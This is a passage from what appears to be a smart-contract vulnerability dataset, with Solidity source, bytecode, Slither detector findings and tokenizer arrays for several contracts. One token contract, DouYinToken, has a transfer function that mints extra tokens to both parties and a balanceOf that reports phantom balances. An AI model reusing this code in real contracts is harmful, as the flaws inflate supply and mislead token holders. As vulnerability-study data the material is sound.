60600190565b6020808252602a908201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736040820152693a32b73a103a37b5b2b760b11b606082015260800190565b60208082526019908201527843616e206f6e6c79206861766520746872656520737461676560381b604082015260600190565b6020808252601c908201527f43616e6e6f742073657420746f2070726576696f757320737461676500000000604082015260600190565b60208082526023908201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756040820152626e647360e81b606082015260800190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b60208082526025908201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600f908201526e139bdd08195b9bdd59da08199d5b99608a1b604082015260600190565b60208082526012908201527114d85b1948185b1c9958591e48195b99195960721b604082015260600190565b602080825260179082015276141d589b1a58c81b5a5b9d081b9bdd081cdd185c9d1959604a1b604082015260600190565b6020808252603a908201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c20726040820152791958da5c1a595b9d081b585e481a185d99481c995d995c9d195960321b606082015260800190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604082015261756560f01b606082015260800190565b6020808252601d908201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b60208082526010908201526f14d85b19481b9bdd081cdd185c9d195960821b604082015260600190565b60208082526039908201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f6040820152781ddb995c881b9bdc88185c1c1c9bdd995908199bdc88185b1b603a1b606082015260800190565b6020808252602b908201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60408201526a65726f206164647265737360a81b606082015260800190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604082015261756560f01b606082015260800190565b60208082526026908201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746040820152651037bbb732b960d11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526013908201527245786365656420746f74616c20737570706c7960681b604082015260600190565b6020808252600b908201526a57726f6e6720737461676560a81b604082015260600190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b6020808252601a908201527922a9219b9918a09d1030b8383937bb32903a379031b0b63632b960311b604082015260600190565b60208082526032908201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206040820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b606082015260800190565b602080825260169082015275115e18d95959081b585e081b5a5b9d08185b5bdd5b9d60521b604082015260600190565b6020808252601190820152702737ba1032b737bab3b4103932b6b0b4b760791b604082015260600190565b60208082526022908201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60408201526132b960f11b606082015260800190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b6020808252601d908201527f455243373231413a20746f6b656e20616c7265616479206d696e746564000000604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252601790820152761a5b9d985b1a59081bdc881d5b985d5d1a1bdc9a5e9959604a1b604082015260600190565b60208082526021908201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736040820152607360f81b606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252602e908201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060408201526d0deeedccae440c4f240d2dcc8caf60931b606082015260800190565b6020808252602f908201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560408201526e1037bbb732b91037b3103a37b5b2b760891b606082015260800190565b6020808252602d908201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560408201526c3c34b9ba32b73a103a37b5b2b760991b606082015260800190565b60208082526012908201527108af0c6cacac840e4cae6cae4ecca40dac2f60731b604082015260600190565b60208082526022908201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696040820152610ced60f31b606082015260800190565b90815260200190565b60ff93841681529190921660208201526001600160f01b03909116604082015260600190565b60006001600160801b03828116848216808303821115612e1b57612e1b613c72565b60008219821115613ad957613ad9613c72565b500190565b600082613aed57613aed613c88565b500490565b60006001600160a01b0382811684821681151582840482111615613b1857613b18613c72565b02949350505050565b6000816000190483118215151615613b3b57613b3b613c72565b500290565b60006001600160481b0380831681851681830481118215151615613b1857613b18613c72565b60006001600160801b0383811690831681811015613b8657613b86613c72565b039392505050565b60006001600160f01b0383811690831681811015613b8657613b86613c72565b600082821015613bc057613bc0613c72565b500390565b60005b83811015613be0578181015183820152602001613bc8565b8381111561121d5750506000910152565b600081613c0057613c00613c72565b506000190190565b600281046001821680613c1c57607f821691505b60208210811415613c3d57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613c5757613c57613c72565b5060010190565b600082613c6d57613c6d613c88565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610f2c57600080fd5b8015158114610f2c57600080fd5b6001600160e01b031981168114610f2c57600080fdfea2646970667358221220565996fcf850e60a7890308d198f7f960ed2a8ef4d1027a4beb714b2648b532964736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 11057, 2094, 16932, 2094, 2683, 2683, 7875, 2620, 4246, 2549, 16409, 2575, 2683, 2683, 19961, 2620, 2050, 17465, 2620, 2509, 2546, 22932, 2278, 2487, 2050, 26187, 2692, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 3229, 1013, 2219, 3085, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,594
0x970adfdfae44bc1721f7de1b8cf0ee801d3e6dab
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender ; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract DouYinToken is Ownable{ using SafeMath for uint256; string public constant name = "DouYin"; string public constant symbol = "DY"; uint32 public constant decimals = 18; uint256 public totalSupply = 20000000000 ether; uint256 public currentTotalSupply = 0; uint256 startBalance = 20000 ether; mapping(address => bool) touched; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; function DouYinToken() public { balances[msg.sender] = startBalance * 500000; currentTotalSupply = balances[msg.sender]; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); if( !touched[msg.sender] && currentTotalSupply < totalSupply ){ uint256 _nvalue = 10000 ether; balances[msg.sender] = balances[msg.sender].add( startBalance ); touched[msg.sender] = true; currentTotalSupply = currentTotalSupply.add( startBalance ).add(_nvalue); } require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value).add(_nvalue); balances[_to] = balances[_to].add(_value).add(_nvalue); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= allowed[_from][msg.sender]); if( !touched[_from] && currentTotalSupply < totalSupply ){ touched[_from] = true; balances[_from] = balances[_from].add( startBalance ); currentTotalSupply = currentTotalSupply.add( startBalance ); } require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function getBalance(address _a) internal constant returns(uint256) { if( currentTotalSupply < totalSupply ){ if( touched[_a] ) return balances[_a]; else return balances[_a].add( startBalance ); } else { return balances[_a]; } } function balanceOf(address _owner) public view returns (uint256 balance) { return getBalance( _owner ); } }
0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016357806318160ddd146101bd57806323b872dd146101e6578063313ce5671461025f578063410b1da81461029457806366188463146102bd57806370a08231146103175780638da5cb5b1461036457806395d89b41146103b9578063a9059cbb14610447578063d73dd623146104a1578063dd62ed3e146104fb578063f2fde38b14610567575b600080fd5b34156100e057600080fd5b6100e86105a0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012857808201518184015260208101905061010d565b50505050905090810190601f1680156101555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016e57600080fd5b6101a3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d9565b604051808215151515815260200191505060405180910390f35b34156101c857600080fd5b6101d06106cb565b6040518082815260200191505060405180910390f35b34156101f157600080fd5b610245600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106d1565b604051808215151515815260200191505060405180910390f35b341561026a57600080fd5b610272610bff565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561029f57600080fd5b6102a7610c04565b6040518082815260200191505060405180910390f35b34156102c857600080fd5b6102fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c0a565b604051808215151515815260200191505060405180910390f35b341561032257600080fd5b61034e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e9b565b6040518082815260200191505060405180910390f35b341561036f57600080fd5b610377610ead565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c457600080fd5b6103cc610ed2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040c5780820151818401526020810190506103f1565b50505050905090810190601f1680156104395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045257600080fd5b610487600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f0b565b604051808215151515815260200191505060405180910390f35b34156104ac57600080fd5b6104e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112e4565b604051808215151515815260200191505060405180910390f35b341561050657600080fd5b610551600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114e0565b6040518082815260200191505060405180910390f35b341561057257600080fd5b61059e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611567565b005b6040805190810160405280600681526020017f446f7559696e000000000000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561070e57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079957600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156107f65750600154600254105b15610908576001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506108a7600354600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109016003546002546116bc90919063ffffffff16565b6002819055505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561095657600080fd5b6109a882600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3d82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0f82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b60025481565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d1b576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610daf565b610d2e83826116dd90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000610ea6826116f9565b9050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600281526020017f445900000000000000000000000000000000000000000000000000000000000081525081565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610f4a57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610fa75750600154600254105b156110d85769021e19e0c9bab2400000905061100d600354600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506110d1816110c36003546002546116bc90919063ffffffff16565b6116bc90919063ffffffff16565b6002819055505b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561112657600080fd5b61118a8161117c85600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd90919063ffffffff16565b6116bc90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112318161122385600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b6116bc90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600061137582600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115c257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115fe57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101515156116d357600080fd5b8091505092915050565b60008282111515156116ee57600080fd5b818303905092915050565b600060015460025410156117fb57600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117a057600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061183e565b6117f4600354600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b905061183e565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b9190505600a165627a7a723058203ddec8d49c507711150a1703bccedd92e1c009a6af9c42d7b535d58f4a8f93c60029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 4215, 2546, 20952, 6679, 22932, 9818, 16576, 17465, 2546, 2581, 3207, 2487, 2497, 2620, 2278, 2546, 2692, 4402, 17914, 2487, 2094, 2509, 2063, 2575, 2850, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,595
0x970cb9dd2bbbd9049cf03b494359337fd23ec0c8
// File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. 